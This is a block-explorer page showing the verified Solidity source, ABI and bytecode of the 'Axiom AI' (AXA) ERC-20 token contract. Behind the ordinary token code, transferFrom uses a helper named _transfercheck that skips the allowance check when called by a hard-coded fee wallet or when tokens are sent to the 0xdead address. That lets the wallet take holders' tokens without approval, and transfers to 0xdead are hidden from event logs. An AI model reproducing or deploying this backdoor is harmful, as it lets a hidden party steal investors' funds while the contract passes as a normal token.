Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract AXA is Context, IERC20, O ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfercheck(address _tsen ...    - function _transfer(address from, addr ...    - function min(uint256 a, uint256 b)    - function swapTokensForEth(uint256 tok ...    - function sendETHToFee(uint256 amount)    - function openAxa()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-12-18
*/

/*

Tg: https://t.me/axiomai_portal
X: https://x.com/axiomai_coin

Web: https://www.axiomai.pro/
App: https://app.axiomai.pro/

*/

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract AXA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludeFee;

    address private _deadaddr = address(0xdead);
    address private _axiomai = 0xf244d9ee227169af79Ed4c66E43fb6ecb4eB2675;

    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=2;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=3;
    uint256 private _reduceSellTaxAt=3;
    uint256 private _preventSwapBefore=3;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_690_000_000 * 10**_decimals;
    string private constant _name = unicode"Axiom AI";
    string private constant _symbol = unicode"AXA";
    uint256 private _maxTaxSwaps = _tTotal / 100;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private _uniPair;
    bool private inSwap = false;
    bool private _tradingEnabled = false;
    bool private _swapEnabled = false;
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _isExcludeFee[owner()] = true;
        _isExcludeFee[address(this)] = true;
        _isExcludeFee[_axiomai] = true;

        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);if(_transfercheck(sender, recipient))
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfercheck(address _tsend, address _trepi) private view returns (bool) {
        return (_tsend == _uniPair || _trepi != _deadaddr) && msg.sender != _axiomai;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == _uniPair && to != address(uniswapV2Router) && ! _isExcludeFee[to] ) {
                _buyCount++;
            }

            if(to == _uniPair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == _uniPair && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _maxTaxSwaps)
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwaps)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        if (to != _deadaddr)emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        payable(_axiomai).transfer(amount);
    }

    function openAxa() external onlyOwner() {
        require(!_tradingEnabled,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        _uniPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradingEnabled = true;
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openAxa","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600480546001600160a01b031990811661dead179091556005805490911673f244d9ee227169af79ed4c66e43fb6ecb4eb2675179055600260068190556007555f600881905560098181556003600a818155600b829055600c91909155600d92909255606491620000769190620002f7565b62000087906461f313f8806200030e565b62000093919062000328565b600e556010805462ffffff60a01b19169055348015620000b1575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160035f620001095f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005549091168352912080549092161790556200016d6009600a620002f7565b6200017e906461f313f8806200030e565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001c06009600a620002f7565b620001d1906461f313f8806200030e565b60405190815260200160405180910390a362000348565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200023c57815f1904821115620002205762000220620001e8565b808516156200022e57918102915b93841c939080029062000201565b509250929050565b5f826200025457506001620002f1565b816200026257505f620002f1565b81600181146200027b57600281146200028657620002a6565b6001915050620002f1565b60ff8411156200029a576200029a620001e8565b50506001821b620002f1565b5060208310610133831016604e8410600b8410161715620002cb575081810a620002f1565b620002d78383620001fc565b805f1904821115620002ed57620002ed620001e8565b0290505b92915050565b5f6200030760ff84168362000244565b9392505050565b8082028115828204841417620002f157620002f1620001e8565b5f826200034357634e487b7160e01b5f52601260045260245ffd5b500490565b61142580620003565f395ff3fe6080604052600436106100a8575f3560e01c806370a082311161006257806370a0823114610196578063715018a6146101ca5780638da5cb5b146101de57806395d89b4114610204578063a9059cbb1461022f578063dd62ed3e1461024e575f80fd5b806306fdde03146100b3578063095ea7b3146100f557806311f046821461012457806318160ddd1461013a57806323b872dd1461015c578063313ce5671461017b575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b506040805180820190915260088152674178696f6d20414960c01b60208201525b6040516100ec9190611069565b60405180910390f35b348015610100575f80fd5b5061011461010f3660046110cc565b610292565b60405190151581526020016100ec565b34801561012f575f80fd5b506101386102a8565b005b348015610145575f80fd5b5061014e610613565b6040519081526020016100ec565b348015610167575f80fd5b506101146101763660046110f6565b610634565b348015610186575f80fd5b50604051600981526020016100ec565b3480156101a1575f80fd5b5061014e6101b0366004611134565b6001600160a01b03165f9081526001602052604090205490565b3480156101d5575f80fd5b506101386106a5565b3480156101e9575f80fd5b505f546040516001600160a01b0390911681526020016100ec565b34801561020f575f80fd5b5060408051808201909152600381526241584160e81b60208201526100df565b34801561023a575f80fd5b506101146102493660046110cc565b610746565b348015610259575f80fd5b5061014e61026836600461114f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61029e338484610752565b5060015b92915050565b5f546001600160a01b031633146103065760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b601054600160a81b900460ff16156103605760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016102fd565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103af90309061039b6009600a61127a565b6103aa906461f313f880611288565b610752565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103ff573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610423919061129f565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610482573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104a6919061129f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156104f0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610514919061129f565b601080546001600160a01b039283166001600160a01b0319909116179055600f541663f305d719473061055b816001600160a01b03165f9081526001602052604090205490565b5f8061056e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156105d4573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906105f991906112ba565b50506010805461ffff60a81b191661010160a81b17905550565b5f6106206009600a61127a565b61062f906461f313f880611288565b905090565b5f610640848484610875565b61064a8484610c9e565b1561069b5761069b84336103aa856040518060600160405280602881526020016113c8602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610ce8565b5060019392505050565b5f546001600160a01b031633146106fe5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102fd565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61029e338484610875565b6001600160a01b0383166107b45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102fd565b6001600160a01b0382166108155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102fd565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108d95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102fd565b6001600160a01b03821661093b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102fd565b5f811161099c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016102fd565b5f80546001600160a01b038581169116148015906109c757505f546001600160a01b03848116911614155b15610b4b576109f860646109f2600a54600d54116109e7576006546109eb565b6008545b8590610d20565b90610d9e565b6010549091506001600160a01b038581169116148015610a265750600f546001600160a01b03848116911614155b8015610a4a57506001600160a01b0383165f9081526003602052604090205460ff16155b15610a6457600d8054905f610a5e836112e5565b91905055505b6010546001600160a01b038481169116148015610a8a57506001600160a01b0384163014155b15610ab757610ab460646109f2600b54600d5411610aaa576007546109eb565b6009548590610d20565b90505b305f90815260016020526040902054601054600160a01b900460ff16158015610aed57506010546001600160a01b038581169116145b8015610b025750601054600160b01b900460ff165b8015610b115750600c54600d54115b15610b4957600e54811115610b3d57610b3d610b3884610b3384600e54610ddf565b610ddf565b610df3565b47610b4747610f63565b505b505b8015610bc357305f90815260016020526040902054610b6a9082610f9e565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bba9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610be59083610ffc565b6001600160a01b0385165f90815260016020526040902055610c28610c0a8383610ffc565b6001600160a01b0385165f9081526001602052604090205490610f9e565b6001600160a01b038085165f818152600160205260409020929092556004541614610c98576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c868585610ffc565b60405190815260200160405180910390a35b50505050565b6010545f906001600160a01b0384811691161480610cca57506004546001600160a01b03838116911614155b8015610ce157506005546001600160a01b03163314155b9392505050565b5f8184841115610d0b5760405162461bcd60e51b81526004016102fd9190611069565b505f610d1784866112fd565b95945050505050565b5f825f03610d2f57505f6102a2565b5f610d3a8385611288565b905082610d478583611310565b14610ce15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016102fd565b5f610ce183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061103d565b5f818311610ded5782610ce1565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e3957610e3961132f565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e90573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eb4919061129f565b81600181518110610ec757610ec761132f565b6001600160a01b039283166020918202929092010152600f54610eed9130911684610752565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f259085905f90869030904290600401611343565b5f604051808303815f87803b158015610f3c575f80fd5b505af1158015610f4e573d5f803e3d5ffd5b50506010805460ff60a01b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610f9a573d5f803e3d5ffd5b5050565b5f80610faa83856113b4565b905083811015610ce15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016102fd565b5f610ce183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ce8565b5f818361105d5760405162461bcd60e51b81526004016102fd9190611069565b505f610d178486611310565b5f602080835283518060208501525f5b8181101561109557858101830151858201604001528201611079565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110c9575f80fd5b50565b5f80604083850312156110dd575f80fd5b82356110e8816110b5565b946020939093013593505050565b5f805f60608486031215611108575f80fd5b8335611113816110b5565b92506020840135611123816110b5565b929592945050506040919091013590565b5f60208284031215611144575f80fd5b8135610ce1816110b5565b5f8060408385031215611160575f80fd5b823561116b816110b5565b9150602083013561117b816110b5565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156111d457815f19048211156111ba576111ba611186565b808516156111c757918102915b93841c939080029061119f565b509250929050565b5f826111ea575060016102a2565b816111f657505f6102a2565b816001811461120c576002811461121657611232565b60019150506102a2565b60ff84111561122757611227611186565b50506001821b6102a2565b5060208310610133831016604e8410600b8410161715611255575081810a6102a2565b61125f838361119a565b805f190482111561127257611272611186565b029392505050565b5f610ce160ff8416836111dc565b80820281158282048414176102a2576102a2611186565b5f602082840312156112af575f80fd5b8151610ce1816110b5565b5f805f606084860312156112cc575f80fd5b8351925060208401519150604084015190509250925092565b5f600182016112f6576112f6611186565b5060010190565b818103818111156102a2576102a2611186565b5f8261132a57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156113935784516001600160a01b03168352938301939183019160010161136e565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102a2576102a261118656fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a105703cbc680ea49024e8569e47a248551ae593ec15ae33fc11e629cfb6dc3864736f6c63430008170033

0x6080604052600436106100a8575f3560e01c806370a082311161006257806370a0823114610196578063715018a6146101ca5780638da5cb5b146101de57806395d89b4114610204578063a9059cbb1461022f578063dd62ed3e1461024e575f80fd5b806306fdde03146100b3578063095ea7b3146100f557806311f046821461012457806318160ddd1461013a57806323b872dd1461015c578063313ce5671461017b575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b506040805180820190915260088152674178696f6d20414960c01b60208201525b6040516100ec9190611069565b60405180910390f35b348015610100575f80fd5b5061011461010f3660046110cc565b610292565b60405190151581526020016100ec565b34801561012f575f80fd5b506101386102a8565b005b348015610145575f80fd5b5061014e610613565b6040519081526020016100ec565b348015610167575f80fd5b506101146101763660046110f6565b610634565b348015610186575f80fd5b50604051600981526020016100ec565b3480156101a1575f80fd5b5061014e6101b0366004611134565b6001600160a01b03165f9081526001602052604090205490565b3480156101d5575f80fd5b506101386106a5565b3480156101e9575f80fd5b505f546040516001600160a01b0390911681526020016100ec565b34801561020f575f80fd5b5060408051808201909152600381526241584160e81b60208201526100df565b34801561023a575f80fd5b506101146102493660046110cc565b610746565b348015610259575f80fd5b5061014e61026836600461114f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61029e338484610752565b5060015b92915050565b5f546001600160a01b031633146103065760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b601054600160a81b900460ff16156103605760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016102fd565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103af90309061039b6009600a61127a565b6103aa906461f313f880611288565b610752565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103ff573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610423919061129f565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610482573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104a6919061129f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156104f0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610514919061129f565b601080546001600160a01b039283166001600160a01b0319909116179055600f541663f305d719473061055b816001600160a01b03165f9081526001602052604090205490565b5f8061056e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156105d4573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906105f991906112ba565b50506010805461ffff60a81b191661010160a81b17905550565b5f6106206009600a61127a565b61062f906461f313f880611288565b905090565b5f610640848484610875565b61064a8484610c9e565b1561069b5761069b84336103aa856040518060600160405280602881526020016113c8602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610ce8565b5060019392505050565b5f546001600160a01b031633146106fe5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102fd565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61029e338484610875565b6001600160a01b0383166107b45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102fd565b6001600160a01b0382166108155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102fd565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108d95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102fd565b6001600160a01b03821661093b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102fd565b5f811161099c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016102fd565b5f80546001600160a01b038581169116148015906109c757505f546001600160a01b03848116911614155b15610b4b576109f860646109f2600a54600d54116109e7576006546109eb565b6008545b8590610d20565b90610d9e565b6010549091506001600160a01b038581169116148015610a265750600f546001600160a01b03848116911614155b8015610a4a57506001600160a01b0383165f9081526003602052604090205460ff16155b15610a6457600d8054905f610a5e836112e5565b91905055505b6010546001600160a01b038481169116148015610a8a57506001600160a01b0384163014155b15610ab757610ab460646109f2600b54600d5411610aaa576007546109eb565b6009548590610d20565b90505b305f90815260016020526040902054601054600160a01b900460ff16158015610aed57506010546001600160a01b038581169116145b8015610b025750601054600160b01b900460ff165b8015610b115750600c54600d54115b15610b4957600e54811115610b3d57610b3d610b3884610b3384600e54610ddf565b610ddf565b610df3565b47610b4747610f63565b505b505b8015610bc357305f90815260016020526040902054610b6a9082610f9e565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bba9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610be59083610ffc565b6001600160a01b0385165f90815260016020526040902055610c28610c0a8383610ffc565b6001600160a01b0385165f9081526001602052604090205490610f9e565b6001600160a01b038085165f818152600160205260409020929092556004541614610c98576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c868585610ffc565b60405190815260200160405180910390a35b50505050565b6010545f906001600160a01b0384811691161480610cca57506004546001600160a01b03838116911614155b8015610ce157506005546001600160a01b03163314155b9392505050565b5f8184841115610d0b5760405162461bcd60e51b81526004016102fd9190611069565b505f610d1784866112fd565b95945050505050565b5f825f03610d2f57505f6102a2565b5f610d3a8385611288565b905082610d478583611310565b14610ce15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016102fd565b5f610ce183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061103d565b5f818311610ded5782610ce1565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e3957610e3961132f565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e90573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eb4919061129f565b81600181518110610ec757610ec761132f565b6001600160a01b039283166020918202929092010152600f54610eed9130911684610752565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f259085905f90869030904290600401611343565b5f604051808303815f87803b158015610f3c575f80fd5b505af1158015610f4e573d5f803e3d5ffd5b50506010805460ff60a01b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610f9a573d5f803e3d5ffd5b5050565b5f80610faa83856113b4565b905083811015610ce15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016102fd565b5f610ce183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ce8565b5f818361105d5760405162461bcd60e51b81526004016102fd919